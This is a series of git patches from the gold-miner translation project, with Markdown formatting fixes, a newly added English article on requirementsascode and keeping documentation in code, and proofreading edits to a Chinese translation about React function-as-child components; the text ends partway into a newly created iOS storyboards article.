diff --git a/TODO/design-principle-aesthetics.md b/TODO/design-principle-aesthetics.md
index 62107e53f0e..9a1f1a23daf 100644
--- a/TODO/design-principle-aesthetics.md
+++ b/TODO/design-principle-aesthetics.md
@@ -1,5 +1,5 @@
 > * 原文地址：[Design principle: Aesthetics](https://uxdesign.cc/design-principle-aesthetics-af926f8f86fe)
-> * 原文作者：[Anton Nikolov](https://uxdesign.cc/@antonnikolov?source=post_header_lockup)
+> * 原文作者：[Anton Nikolov](https://uxdesign.cc/@antonnikolov)
 > * 译文出自：[掘金翻译计划](https://github.com/xitu/gold-miner)
 > * 译者：
 > * 校对者：
diff --git a/TODO/yeah-redesign-part-1.md b/TODO/yeah-redesign-part-1.md
index 5c105a26aaf..7828afc10d1 100644
--- a/TODO/yeah-redesign-part-1.md
+++ b/TODO/yeah-redesign-part-1.md
@@ -1,5 +1,5 @@
 > * 原文地址：[Yeah, redesign(Part 1)](https://medium.muz.li/yeah-redesign-part-1-b61af07eb41a)
-> * 原文作者：[Jingxi Li](https://medium.muz.li/@jingxili?source=post_header_lockup)
+> * 原文作者：[Jingxi Li](https://medium.muz.li/@jingxili)
 > * 译文出自：[掘金翻译计划](https://github.com/xitu/gold-miner)
 > * 译者：
 > * 校对者：
@@ -111,7 +111,7 @@ It is designers’ responsibility to do the design QA, and ensure the design was
 
 By the time we started to think redesign, Sing had moved from US centric app to an international product. To serve the community of global users, we localized Sing! from 12 languages to 20 languages. When applying foreign language into an English-based app, the UI could easily break. For example, compared to English, German or Russian takes more characters to express the same meanings. A defined limited space that would normally fit English labels would not work for German and Russian. Without a clear rule on how to set spacing and apply the right hierarchy, our localized languages were either cut off or presented in the smaller sizes. Addressing these issues for each language one by one consumed a lot of efforts from our engineers and QA. We know through the redesign, we need to find a sustainable solution that could optimize for all the different languages that we have or might have in the future.
 
-![](https://cdn-images-1.medium.com/max/2000/1*cAPZbmDZEe5byrPDOB7QVA.jpeg) 
+![](https://cdn-images-1.medium.com/max/2000/1*cAPZbmDZEe5byrPDOB7QVA.jpeg)
 
 source:shutterstock
 

From 10c3020a2d4daea8b89e7a36c4218725ad17923c Mon Sep 17 00:00:00 2001
From: ylq167 <ylq950327@gmail.com>
Date: Wed, 26 Apr 2017 19:42:19 +0800
Subject: [PATCH 265/638] =?UTF-8?q?=E2=80=98=E4=BF=AE=E6=94=B9=E6=A0=B7?=
 =?UTF-8?q?=E5=BC=8F=E2=80=99?=
MIME-Version: 1.0
Content-Type: text/plain; charset=UTF-8
Content-Transfer-Encoding: 8bit

---
 TODO/on-loser-experience-design.md | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/TODO/on-loser-experience-design.md b/TODO/on-loser-experience-design.md
index 8af076f4589..aaf85983f47 100644
--- a/TODO/on-loser-experience-design.md
+++ b/TODO/on-loser-experience-design.md
@@ -6,7 +6,7 @@
 
 # 针对失败者的用户体验设计 #
 
-## 设计平台或产品不仅是针对赢家，大V和意见领袖。##
+## 设计平台或产品不仅是针对赢家，大V和意见领袖。 ##
 
 ![](https://cdn-images-1.medium.com/max/800/1*kVOEiUv3YK8tcYEa5QKmLA.jpeg)
 

From ea8274aa9479deacca75a73e55ec2dd5dde00aab Mon Sep 17 00:00:00 2001
From: mnikn <329121948@qq.com>
Date: Wed, 26 Apr 2017 20:23:06 +0800
Subject: [PATCH 266/638] modify v3

---
 TODO/node-js-war-stories-solving-issues-in-production.md | 4 ++--
 1 file changed, 2 insertions(+), 2 deletions(-)

diff --git a/TODO/node-js-war-stories-solving-issues-in-production.md b/TODO/node-js-war-stories-solving-issues-in-production.md
index 5568c9ce76a..d701e0c88e4 100644
--- a/TODO/node-js-war-stories-solving-issues-in-production.md
+++ b/TODO/node-js-war-stories-solving-issues-in-production.md
@@ -76,7 +76,7 @@ Netflix 的底层代码包含了每 6 分钟运行的定时代码，从拓展资
 
 作为一个在 PaaS 运行的 早期 Trace 版本，它通过公共云来与我们的其他服务通信。
 
-为了确保我们的请求是完整的，我们决定对所有请求进行签名。为了实现这个，我们看了 Joyent 的 [HTTP signing library](https://github.com/joyent/node-http-signature)。很棒的是，[request](https://www.npmjs.com/package/request) 这一模块支持开箱即用的Http签名。
+为了确保我们的请求是完整的，我们决定对所有请求进行签名。为了实现这个，我们看了 Joyent 的 [HTTP signing library](https://github.com/joyent/node-http-signature)。很棒的是，[request](https://www.npmjs.com/package/request) 这一模块支持开箱即用的HTTP签名。
 
 **解决方案代价不仅很大，而且会对我们的响应速度造成不好的影响。**
 
@@ -106,7 +106,7 @@ Netflix 的底层代码包含了每 6 分钟运行的定时代码，从拓展资
 
 ## nearForm: 不要堵塞 Node.js 的事件循环 ##
 
-**React 现在很流行。**开发者在前端和后端都会使用它，甚至他们更进一步用它来构建同构的 JavaScript 应用。
+** React 现在很流行。**开发者在前端和后端都会使用它，甚至他们更进一步用它来构建同构的 JavaScript 应用。
 
 > 然而，渲染 React 页面会让 CPU 有挺大的负担，当绘制复杂的 React 内容时会受到 CPU 限制。
 

From a2c3a3163a830c3b411f0f435ab172e0f21ad118 Mon Sep 17 00:00:00 2001
From: mnikn <329121948@qq.com>
Date: Wed, 26 Apr 2017 20:25:14 +0800
Subject: [PATCH 267/638] modify

---
 TODO/node-js-war-stories-solving-issues-in-production.md | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/TODO/node-js-war-stories-solving-issues-in-production.md b/TODO/node-js-war-stories-solving-issues-in-production.md
index d701e0c88e4..48fc8b963ff 100644
--- a/TODO/node-js-war-stories-solving-issues-in-production.md
+++ b/TODO/node-js-war-stories-solving-issues-in-production.md
@@ -106,7 +106,7 @@ Netflix 的底层代码包含了每 6 分钟运行的定时代码，从拓展资
 
 ## nearForm: 不要堵塞 Node.js 的事件循环 ##
 
-** React 现在很流行。**开发者在前端和后端都会使用它，甚至他们更进一步用它来构建同构的 JavaScript 应用。
+**React 现在很流行。 **开发者在前端和后端都会使用它，甚至他们更进一步用它来构建同构的 JavaScript 应用。
 
 > 然而，渲染 React 页面会让 CPU 有挺大的负担，当绘制复杂的 React 内容时会受到 CPU 限制。
 

From d0865effc554de20b50e9b0de840d7b3bb76066a Mon Sep 17 00:00:00 2001
From: mnikn <329121948@qq.com>
Date: Wed, 26 Apr 2017 20:28:08 +0800
Subject: [PATCH 268/638] fix bold

---
 TODO/node-js-war-stories-solving-issues-in-production.md | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/TODO/node-js-war-stories-solving-issues-in-production.md b/TODO/node-js-war-stories-solving-issues-in-production.md
index 48fc8b963ff..598a84f10d9 100644
--- a/TODO/node-js-war-stories-solving-issues-in-production.md
+++ b/TODO/node-js-war-stories-solving-issues-in-production.md
@@ -106,7 +106,7 @@ Netflix 的底层代码包含了每 6 分钟运行的定时代码，从拓展资
 
 ## nearForm: 不要堵塞 Node.js 的事件循环 ##
 
-**React 现在很流行。 **开发者在前端和后端都会使用它，甚至他们更进一步用它来构建同构的 JavaScript 应用。
+**React 现在很流行**。开发者在前端和后端都会使用它，甚至他们更进一步用它来构建同构的 JavaScript 应用。
 
 > 然而，渲染 React 页面会让 CPU 有挺大的负担，当绘制复杂的 React 内容时会受到 CPU 限制。
 

From 340158da7db7145b1c1b749c232105ae2990693d Mon Sep 17 00:00:00 2001
From: =?UTF-8?q?=E6=A0=B9=E5=8F=B7=E4=B8=89?= <sqrtthree@foxmail.com>
Date: Wed, 26 Apr 2017 22:31:08 +0800
Subject: [PATCH 269/638] Create the-truth-is-in-the-code.md

---
 TODO/the-truth-is-in-the-code.md | 272 +++++++++++++++++++++++++++++++
 1 file changed, 272 insertions(+)
 create mode 100644 TODO/the-truth-is-in-the-code.md

diff --git a/TODO/the-truth-is-in-the-code.md b/TODO/the-truth-is-in-the-code.md
new file mode 100644
index 00000000000..8e042fa1d9d
--- /dev/null
+++ b/TODO/the-truth-is-in-the-code.md
@@ -0,0 +1,272 @@
+> * 原文地址：[The truth is in the code](https://medium.freecodecamp.com/the-truth-is-in-the-code-86a712362c99)
+> * 原文作者：[Bertil Muth](https://medium.freecodecamp.com/@BertilMuth)
+> * 译文出自：[掘金翻译计划](https://github.com/xitu/gold-miner)
+> * 译者：
+> * 校对者：
+
+# The truth is in the code #
+
+![](https://cdn-images-1.medium.com/max/800/1*Fw8F2fRNVfkcE-0VGyDZhQ.png)
+
+[shoppingapp](https://github.com/bertilmuth/requirementsascode/tree/master/requirementsascodeexamples/shoppingappjavafx) model, example of [requirementsascode](https://github.com/bertilmuth/requirementsascode)
+
+Sooner or later, every software developer will hear something like this:
+
+> “Truth can only be found in one place: the code.”
+
+> – Robert C. Martin, [Clean Code](https://www.amazon.de/Clean-Code-Handbook-Software-Craftsmanship/dp/0132350882)
+
+But what does that mean?
+
+The [Agile Manifesto](http://agilemanifesto.org/) values “working software over comprehensive documentation.”
+
+Developers write comprehensive documentation of the software’s behavior all the time, though. The code.
+
+Code comments, and external specifications, document the software’s behavior as well. But they may not get updated when the code changes. Then they stop reflecting the software’s behavior soon.
+
+In contrast, code *always* reflects the software’s behavior. It defines it.
+
+That’s why the truth is in the code.
+
+### Writing for your readers ###
+
+Code is documentation. Any kind of documentation should be understandable by its readers.
+
+The readers of code are a compiler or interpreter, and other developers.
+
+So it is not enough if your code compiles. Other developers need to understand it as well. They need to work on your code in the future, change it and extend it.
+
+A common suggestion to make code understandable is that you write clean code. Code that uses understandable language for variable and method names. That also makes a lot of code comments unnecessary.
+
+Clean code should express the intent: *what* somebody can achieve by calling a method. Not *how* the method achieves it.
+
+Guess what this method does:
+
+    BigDecimal addUp(List<BigDecimal> ns){..}
+
+How about rather writing this:
+
+    BigDecimal calculateTotal(List<BigDecimal> individualPrice){..}
+
+Clean code is a good idea. But I don’t think it is sufficient.
+
+### The importance of shared understanding ###
+
+When there’s a new requirement, you need to understand how implementing it affects the existing code.
+
+That can be a challenge if your software has been around for some time. Quite often, I have heard a dialogue like this:
+
+*X*: We can’t go on with feature *foo*.
+
+*Y*: Why?
+
+*X*: Cause *Z* is the only one who knows about the code. He has implemented the code that we need to change now.
+
+*Y:* Well, why don’t we ask him?
+
+*X*: Because he is sick / on vacation / at a conference / no longer at the company.
+
+*Y*: Oh…
+
+Here’s the thing. To find out if your code is understandable, somebody else should try to understand it.
+
+There are techniques for that. [Pair programming](https://en.m.wikipedia.org/wiki/Pair_programming) is a good one. Or you sit down with other developers. You walk them through the code you have written.
+
+Still, what if many developers are involved with a product? What if the development teams change their members? That makes it harder to write code that enough other people understand.
+
+### The story ###
+
+Clean code gives you the right *words*.
+
+The question is: what *story* will you tell with them in your code?
+
+I have no idea.
+
+But for a typical business application, I am pretty sure what story I want to read in the code.
+
+After introducing you to a brief example, I will outline that story.
+
+### The glove shop example ###
+
+As a user of software, I want to [reach a desired outcome](https://medium.freecodecamp.com/nobody-wants-to-use-software-a75643bee654?source=linkShare-a74297325869-1489339708). For example, I want to own a new pair of gloves to keep my fingers warm in winter.
+
+So I go online and see there is a new online shop specialized in gloves. The shop’s website lets me buy gloves. The “basic flow” (also called “happy day scenario”) of the use case could look like this one:
+
+- The system starts with an empty shopping cart.
+- The system displays a list of gloves.
+- I add the gloves I like to the shopping cart. The system adds the gloves to my order.
+- I check out.
+- I enter shipping information and payment details. The system saves this information.
+- The system displays a summary of the order.
+- I confirm. The system initiates shipping of my order.
+
+After a few days, I get my gloves.
+
+### Here’s the story I want to read in code. ###
+
+### Chapter 1: Use cases ###
+
+The first chapter of the story is about use cases. When I read code, I want to follow a use case in the code step by step to the desired outcome.
+
+I want to understand how the system reacts when something goes wrong. From a user’s perspective.
+
+I also want to understand the possible turns along the way. The user tries to go back from the payment details to the shipping information, for example. What happens? Is that even possible?
+
+I want to understand what code to look at for each part of a use case.
+
+#### So what are the *parts* of a use case? ###
+
+The fundamental part of a use case is a *step* that brings a user closer to a desired outcome. For example: “The system displays a list of gloves.”
+
+Not all users may be able to run a step, but only members of certain user groups (the “*actors”*). End customers buy gloves. Marketing people enter new glove offers into the system.
+
+The system runs some of the steps on its own. Like when it displays the gloves. No user interaction necessary there.
+
+Or a step is an interaction with the user. The system *reacts* to some *user event*. For example: The user enters shipping information. The system saves the information.
+
+I want to understand which *data* to expect with the event. Shipping information includes the user’s name, address etc.
+
+The user can run only a subset of steps at any given time. The user can enter payment details only after shipping information. So there is a *flow* that defines the order of the steps in a use case. And a *condition* that defines if the system can react, depending on the system’s state.
+
+#### To understand the code, you need an easy way to know several things. ###
+
+For a use case (like “buy gloves”):
+
+- The *flow(s)* of *steps*
+
+For each step:
+
+- Which *actors* have access to it (that is, which user groups)
+- Under which *condition* the system reacts
+- If the step is *autonomous*, or based on a *user interaction*
+- The *system* *reaction*
+
+For each step that is a user interaction:
+
+- The *user event* (like “user entered shipping information”)
+- The *data* that comes with the event
+
+Once I know where to find a use case and its parts in the code, I can drill deeper.
+
+### Chapter 2: Breaking things down into steps through components ###
+
+Let’s call an encapsulated, replaceable building block of your software a *component.* A component’s *responsibilities* are available to the world outside the component.
+
+A component could be:
+
+- a technical component like a database repository,
+- a service like “shopping cart service”,
+- an entity in your domain model.
+
+That depends on your software design. But no matter what your components are: you usually need several of them to realize one step of a use case.
+
+Let’s look at the *system reaction* of the step “The system displays a list of gloves”. You probably need to develop at least two *responsibilities*. One finds the gloves in the database, and one turns the list of gloves into a webpage.
+
+When reading code I want to understand the following things:
+
+- What are a component’s *responsibilities.* For example: “find gloves” for the database repository.
+- What are the *inputs* / *outputs* of each responsibility. Example input: criteria for which gloves to find. Example output: list of gloves.
+- Who *coordinates* the responsibilities. For example: find gloves first. Turn result into a webpage second.
+
+### Chapter 3: What components do ###
+
+A component’s code fulfills responsibilities.
+
+That often happens in a *domain model*. The domain model uses terms relevant in the business domain.
+
+For the example, a term could be Glove. Another term could be Order.
+
+The domain model describes the *data* for each term. Each Glove has a color, a brand, a size, a price and so on.
+
+The domain model also describes computations on the data. The total price of an Order is the sum of the prices of each Glove bought by the user.
+
+A component can also be a technical component like a database repository. The code needs to answer: How does the repository create, find, update and delete elements in the database?
+
+### Telling your story ###
+
+Maybe your story looks similar to the one above. Maybe it’s different. Whatever your story is, programming languages give you great freedom to express yourself and tell that story.
+
+That’s a good thing because it allows developers to adapt to different contexts and requirements.
+
+It also bears the risk that developers tell too many different stories. Even for the same product. That makes it harder than necessary to understand code that somebody else has written.
+
+One way to address this is the use of design patterns. They allow you to structure your code. You can agree on that common structure in your team or even across teams.
+
+For example, the Rails framework is based on the well-known Model View Controller pattern.
+
+The model is the place for *domaindata.*
+
+The view is the client side user interface, like HTML pages. It is the origin of *userevents.*
+
+The controller receives the user events on server side. It is responsible for *flow.*
+
+So if several developers use Rails, they know which part of the code to look at for certain parts of their story.
+
+They could find out what is missing when sharing their understanding. Then, they could agree on further conventions on where to put which part of their story.
+
+If that works for you, that is just fine. But I want to go further than that.
+
+### Requirements as Code ###
+
+Many of my clients ask me how to deal with long term software documentation.
+
+When working in an agile context, how do you create documentation for software maintenance?
+
+What requirements have been implemented so far?
+
+Where do you find their realization in the code?
+
+For a long time I had no satisfying answer. Except, of course: the importance of well written, automated tests. Clean production code. Shared understanding.
+
+But a few years ago, I started thinking:
+
+> If the truth is in the code, the code should be able to speak the truth.
+
+In other words: if you took great care of telling your story in the code, why would you want to tell it again?
+
+There needs to be a better way. It must be possible to extract the story, and generate documentation from it. Documentation that non-technical stakeholders understand as well.
+
+Documentation that is always up-to-date, because it comes from the same source that defines the software’s behavior.
+
+The only reliable source: the code itself.
+
+After a lot of experiments, I had some results. I made them public in a Github project called [requirementsascode](https://github.com/bertilmuth/requirementsascode).
+
+### How it works ###
+
+![](https://cdn-images-1.medium.com/max/800/1*rZAA0h24T9SdEZYdE7stIQ@2x.png)
+
+- A UseCaseModel instance defines the *actors*, *use cases*, their *flows* and *steps*. It tells chapter 1 of the story. You find an example of such a model at the start of this article.
+- A use case model configures UseCaseModelRunner instances. Every user has her own runner, because every user may take a different path through the use cases in the model.
+- The runner reacts to a *user event* from the frontend by calling the *system reaction* in the backend.The frontend communicates to the backend only through the runner.
+- But the runner only reacts if the user is at the right position of the *flow* and the step’s *condition* is fulfilled. For example, the runner only reacts to the “EnterPaymentDetails“ event if the user has entered the shipping information right before.
+- The *systemreaction* is a single method. The method’s body is responsible for coordinating the components to realize the step, as described in chapter 2.
+- Chapter 3 is out of scope of requirementsascode. It is left up to the application. That makes requirementsascode compatible with arbitrary software designs.
+
+So the UseCaseModelRunner controls the user visible behavior of the software. Based on a UseCaseModel.
+
+With [requirementsascodeextract](https://github.com/bertilmuth/requirementsascode/tree/master/requirementsascodeextract), you can generate documentation from the same use case model that configures the runner. That way, the documentation always reflects how the software works.
+
+Requirementsascodeextract uses the FreeMarker template engine. That allows you to generate any plain text documentation you like. For example HTML pages. Further processing could turn it into other documentation formats, like PDF.
+
+### Your feedback will help me improve this project ###
+
+I started working on requirementsascode several years ago, but just recently made the project public. It has gone through significant improvement since the beginning.
+
+To learn whether the approach scales, I tried it on an application with several thousand lines of code. It worked. I tried it on smaller applications as well.
+
+Still, so far, requirementsascode has been my hobby project.
+
+That’s why I need your help. Please give me feedback.
+
+What do you think of the idea? Can you imagine that it works in the context of the software you develop? Any other feedback?
+
+You can drop me a note in the comments or contact me on [Twitter](https://twitter.com/BertilMuth) or [LinkedIn](https://www.linkedin.com/in/bertilmuth).
+
+You can [clone](https://github.com/bertilmuth/requirementsascode) the project and try it out yourself.
+
+Or you can [contribute](https://github.com/bertilmuth/requirementsascode/blob/master/CONTRIBUTING.md) to documenting the truth in the code.
+
+---
+
+> [掘金翻译计划](https://github.com/xitu/gold-miner) 是一个翻译优质互联网技术文章的社区，文章来源为 [掘金](https://juejin.im) 上的英文分享文章。内容覆盖 [Android](https://github.com/xitu/gold-miner#android)、[iOS](https://github.com/xitu/gold-miner#ios)、[React](https://github.com/xitu/gold-miner#react)、[前端](https://github.com/xitu/gold-miner#前端)、[后端](https://github.com/xitu/gold-miner#后端)、[产品](https://github.com/xitu/gold-miner#产品)、[设计](https://github.com/xitu/gold-miner#设计) 等领域，想要查看更多优质译文请持续关注 [掘金翻译计划](https://github.com/xitu/gold-miner)。

From 6a1db73aa1c1bc6117e630f7ecfc746a9f100a7c Mon Sep 17 00:00:00 2001
From: rottenpen <522876037@qq.com>
Date: Wed, 26 Apr 2017 22:31:24 +0800
Subject: [PATCH 270/638] =?UTF-8?q?=E6=A0=A1=E5=AF=B91?=
MIME-Version: 1.0
Content-Type: text/plain; charset=UTF-8
Content-Transfer-Encoding: 8bit

---
 TODO/function-as-child-components.md | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/TODO/function-as-child-components.md b/TODO/function-as-child-components.md
index a1879636005..1843a42e6e6 100644
--- a/TODO/function-as-child-components.md
+++ b/TODO/function-as-child-components.md
@@ -2,7 +2,7 @@
 > * 原文作者：[Merrick](http://merrickchristensen.com/about.html)
 > * 译文出自：[掘金翻译计划](https://github.com/xitu/gold-miner)
 > * 译者：[rottenpen](https://github.com/rottenpen)
-> * 校对者：
+> * 校对者：[loveky](https://github.com/loveky) [avocadowang](https://github.com/avocadowang) 
 
 
 # 函数式子类组件 #（这个名字待定）

From 70611c0381575e0d9ca80b2ccc2b0874cb614529 Mon Sep 17 00:00:00 2001
From: rottenpen <522876037@qq.com>
Date: Wed, 26 Apr 2017 22:32:40 +0800
Subject: [PATCH 271/638] =?UTF-8?q?=E6=A0=A1=E5=AF=B91?=
MIME-Version: 1.0
Content-Type: text/plain; charset=UTF-8
Content-Transfer-Encoding: 8bit

---
 TODO/function-as-child-components.md | 41 ++++++++++++++--------------
 1 file changed, 20 insertions(+), 21 deletions(-)

diff --git a/TODO/function-as-child-components.md b/TODO/function-as-child-components.md
index 1843a42e6e6..08dae3363a3 100644
--- a/TODO/function-as-child-components.md
+++ b/TODO/function-as-child-components.md
@@ -5,21 +5,21 @@
 > * 校对者：[loveky](https://github.com/loveky) [avocadowang](https://github.com/avocadowang) 
 
 
-# 函数式子类组件 #（这个名字待定）
+# 将函数作为子类的组件 #
 
-我最近在 Twitter 上关注了高阶组件和函数式子类组件，得到的结果让我很惊喜。
+我最近在 Twitter 上发起了关于高阶组件和将函数作为子类的组件的投票，得到的结果让我很惊喜。
 
-如果你不知什么是“函数式子类组件”，我试图通过这篇文章告诉你：
+如果你不知什么是“函数作为子类的组件”，我试图通过这篇文章告诉你：
 
-1. 是什么。
+1. 函数作为子类的组件是什么。
 
-2. 为什么有用。
+2. 它为什么有用。
 
-3. 我只想享受分享的快乐，而获取不是点赞，转发或者别的，你懂我的意思吧？
+3. 我只想享受分享的快乐，而不是收获一些Twitter转发，点赞，或是上一些newsletter等等。你懂我的意思吧？
 
-## 什么是函数式子组件？ ##
+## 什么是函数作为子类的组件？ ##
 
-“函数式子类组件”是接收一个函数当作父组件的子类组件。
+“函数作为子类的组件”是接收一个函数当作父组件的子类组件。
 
 ```
 classMyComponentextendsReact.Component{   
@@ -38,7 +38,7 @@ MyComponent.propTypes = {
 
 ```
 
-没错！通过子类组件函数我们就能解耦父类组件和他们的子类，让设计者决定选用哪些参数及怎么将参数应用于子类组件。例如：
+没错！通过子类函数组件我们就能解耦父类组件和它们的子类，让设计者决定选用哪些参数及怎么将参数应用于子类组件。例如：
 
 ```
 <MyComponent>
@@ -59,11 +59,11 @@ MyComponent.propTypes = {
 </MyComponent>
 ```
 
-对 MyComponent 最贴切的说法是，函数子组件作为父类管理状态的组件，而不是对其状态的利用。让我们再来一个更真实的例子。
+对 MyComponent 最贴切的说法是，子类组件函数作为父类管理状态的组件，而不是对其状态的利用。让我们再来一个更真实的例子。
 
 ### 百分比组件 ###
 
-Ratio 组件将使用设备的宽度，监听 resize 事件和返回它的子类们一个宽度，高度和一些关于是否计算了尺寸的信息。
+Ratio 组件将使用设备的宽度，监听 resize 事件并将宽度、高度以及一些描述是否完成尺寸计算的信息传给它的子组件。
 
 首先我们从函数子组件的片段开始，这片段在所有函数子组件中都是常见的，它只是让消费者知道我们期望一个函数作为子组件，而不是 React 节点。
 
@@ -188,13 +188,13 @@ Ratio.defaultProps = {
 
 ```
 
-好吧，在这我做了很多东西。我们添加了一些事件监听来监听 resize 事件以及使用提供的比率计算实际的宽度高度。所以我们得到了一个宽高在组件的 state 里，那我们如何与其他组件分享它们呢？
+好吧，在这我做了很多东西。我们添加了一些事件监听来监听 resize 事件以及使用提供的比率计算实际的宽度高度。所以我们得到的宽高在组件的 state 里，那我们如何与其他组件分享它们呢？
 
 这是一件难以理解的事情，因为它很容易让人认为“这不可能是全部”，但事实这就是全部了。
 
 #### 子类组件只是一个 javascript 函数 ####
 
-这意味着为了计算宽度和高度，我们只需要提供参数：
+这意味着想要计算出宽度和高度，我们只需要提供参数：
 
 ```
 render() {
@@ -207,7 +207,7 @@ render() {
 
 ```
 
-现在任何人都可以使用比例组件通过提供的宽度以他们喜欢的方式来正确计算出高度！例如，有人可以使用比例组件来设置img上的比例：
+现在任何人都可以使用比例组件通过提供的宽度以他们喜欢的方式来正确计算出高度！例如，有人可以使用比例组件来设置 img 上的比例：
 
 ```
 <Ratio>
@@ -244,7 +244,7 @@ render() {
 
 ### 优势 ###
 1. 构造组件的开发人员能自主控制如何传递和使用这些属性。
-2. 函数式子组件的作者不强制组件的值如何被利用，允许它非常灵活的使用。
+2. 函数作为子类的组件的作者不强制组件的值如何被利用，允许它非常灵活的使用。
 3. Comsumer 不需要创建另一个组件来决定怎样从“高阶组件”传入属性。高阶组件通常在组成的组件上强制执行属性名称。 为了解决这个问题，许多“高阶组件”提供了一个选择器函数，允许消费者选择你的属性名称（请参考 redux 连接选择功能）。这不是函数子组件的问题。
 4. 不污染 “props” 命名空间，这允许你同时使用 “Ratio” 组件和 “Pinch to Zoom” 组件，不管它们是否都会计算宽度。高阶组件带有与它们组成的组件相关的隐式契约，不幸的是这可能意味着 prop 的名称会发生冲突以至于高阶组件无法与其他组件进行组合。
 5. 高阶组件在你的开发工具和组件本身中创建一个间接层，例如设置在组件上的常量被高阶组件封装后将无法使用。例如：
@@ -261,29 +261,28 @@ exportdefault connect(...., MyComponent);
 
 ```
 .
-RIP 你的常数（？）。如果没有高阶组件提供的函数则不可再访问底层组件。哭。
+让你的常数安息吧。因为如果没有高阶组件提供的函数，你将再也不能访问到这个常量。哭。
 
 #### 总结 ####
-大多数时候我们会认为“我需要一个高阶组件来实现这个共享功能！”根据我的经验，我相信在多数情况下函数式子组件是一个更好的替代方法来抽象你的UI问题，除非你的子组件与其组合的高阶组件真正耦合。
+大多数时候我们会认为“我需要一个高阶组件来实现这个共享功能！”根据我的经验，我相信在多数情况下函数作为子类的组件是一个更好的替代方法来抽象你的 UI 问题，除非你的子组件与其组合的高阶组件真正耦合。
 
 #### 关于高阶组件的不幸事实 ####
 补充一下，我认为高阶组件的名称不正确，尽管现在尝试修改已经有点晚了。高阶函数是至少执行一下操作之一的函数：
 1. 将n个函数作为参数。
 2. 返回一个函数作为结果。
 
-Indeed Higher Order Components do something similar to this, namely take a Component as and argument and return a Component but I think it is easier to think of a Higher Order Component as a factory function, it is a function that dynamically creates a component to allow for runtime composition of your components. However, they are **unaware** of your React state and props at composition time!
 事实上，高阶组件做了类似的事情，也就是拿一个组件作为参数并返回一个组件，但是我更容易将高阶组件看作是工厂函数，它是一个能动态创建的组件将允许的功能用于组件的运行组合。然而，在运行组合的时候他们是**不知道**你的 React 的 state 和 props 。
 
-函数式子组件允许你的组件们在作出组合决策时可以访问 state，props 和上下文。当函数作为子组件：
+函数作为子类的组件允许你的组件们在作出组合决策时可以访问 state ， props 和上下文。当函数作为子组件：
 
 1. 将一个函数作为参数。
 2. 渲染此函数的结果。
 
-我不禁觉得它们应该得到“高阶组件”的标题，因为它像高阶函数只使用组件组合技术而不是功能组合。好吧，现在我们还是继续用“函数式子组件”这个粗暴的名字。
+我不禁觉得它们应该得到“高阶组件”的标题，因为它像高阶函数只使用组件组合技术而不是功能组合。好吧，现在我们还是继续用“将函数作为子类的组件”这个粗暴的名字。
 ### 例子 ###
 
 1. [Pinch to Zoom - Function as Child Component](https://gist.github.com/iammerrick/c4bbac856222d65d3a11dad1c42bdcca)
-2. [react-motion](https://github.com/chenglou/react-motion) 这个项目在讲过很长一段时间的高阶组件转换后才引进了这个概念。
+2. [react-motion](https://github.com/chenglou/react-motion) 这个项目在讲了很长一段时间这个概念之后，高阶组件才演变出函数子组件。
 ---
 
 > [掘金翻译计划](https://github.com/xitu/gold-miner) 是一个翻译优质互联网技术文章的社区，文章来源为 [掘金](https://juejin.im) 上的英文分享文章。内容覆盖 [Android](https://github.com/xitu/gold-miner#android)、[iOS](https://github.com/xitu/gold-miner#ios)、[React](https://github.com/xitu/gold-miner#react)、[前端](https://github.com/xitu/gold-miner#前端)、[后端](https://github.com/xitu/gold-miner#后端)、[产品](https://github.com/xitu/gold-miner#产品)、[设计](https://github.com/xitu/gold-miner#设计) 等领域，想要查看更多优质译文请持续关注 [掘金翻译计划](https://github.com/xitu/gold-miner)。

From 6f830b3a83829b613cbdd7e044f5c0b2e9cf4e74 Mon Sep 17 00:00:00 2001
From: rottenpen <522876037@qq.com>
Date: Wed, 26 Apr 2017 22:33:06 +0800
Subject: [PATCH 272/638] =?UTF-8?q?=E6=A0=A1=E5=AF=B91?=
MIME-Version: 1.0
Content-Type: text/plain; charset=UTF-8
Content-Transfer-Encoding: 8bit

---
 TODO/function-as-child-components.md | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/TODO/function-as-child-components.md b/TODO/function-as-child-components.md
index 08dae3363a3..10f18cb7a22 100644
--- a/TODO/function-as-child-components.md
+++ b/TODO/function-as-child-components.md
@@ -65,7 +65,7 @@ MyComponent.propTypes = {
 
 Ratio 组件将使用设备的宽度，监听 resize 事件并将宽度、高度以及一些描述是否完成尺寸计算的信息传给它的子组件。
 
-首先我们从函数子组件的片段开始，这片段在所有函数子组件中都是常见的，它只是让消费者知道我们期望一个函数作为子组件，而不是 React 节点。
+首先我们从函数作为子类的组件的片段开始，这片段在所有子组件函数中都是常见的，它只是让消费者知道我们期望一个函数作为子组件，而不是 React 节点。
 
 ```
 classRatioextendsReact.Component{  

From 30cb0cdf0d440f27019f87db7cf4a1a098c47e62 Mon Sep 17 00:00:00 2001
From: =?UTF-8?q?=E6=A0=B9=E5=8F=B7=E4=B8=89?= <sqrtthree@foxmail.com>
Date: Wed, 26 Apr 2017 22:51:02 +0800
Subject: [PATCH 273/638] Create a-case-for-using-storyboards-on-ios.md

---
 TODO/a-case-for-using-storyboards-on-ios.md | 147 ++++++++++++++++++++
 1 file changed, 147 insertions(+)
 create mode 100644 TODO/a-case-for-using-storyboards-on-ios.md

diff --git a/TODO/a-case-for-using-storyboards-on-ios.md b/TODO/a-case-for-using-storyboards-on-ios.md
new file mode 100644
index 00000000000..9c29d17904d
--- /dev/null
+++ b/TODO/a-case-for-using-storyboards-on-ios.md
@@ -0,0 +1,147 @@
+> * 原文地址：[A Case For Using Storyboards on iOS](https://medium.cobeisfresh.com/a-case-for-using-storyboards-on-ios-3bbe69efbdf4)
+> * 原文作者：[Marin Benčević](https://medium.cobeisfresh.com/@marinbenc)
+> * 译文出自：[掘金翻译计划](https://github.com/xitu/gold-miner)
+> * 译者：
+> * 校对者：
+
+# A Case For Using Storyboards on iOS #
+
+![](https://cdn-images-1.medium.com/max/2000/1*YsN0CVtTY3I5d6UUEtUv6Q.png)
+
+I’ve seen a lot of articles recently that argue against using storyboards when creating iOS apps. The most commonly mentioned arguments are that storyboards are not human readable, they are slow and they cause git conflicts. These are all valid concerns, but can be avoided. I want to tell you how we use storyboards on non-trivial projects, and how you can avoid these concerns and still get the nice things storyboards give you.
+
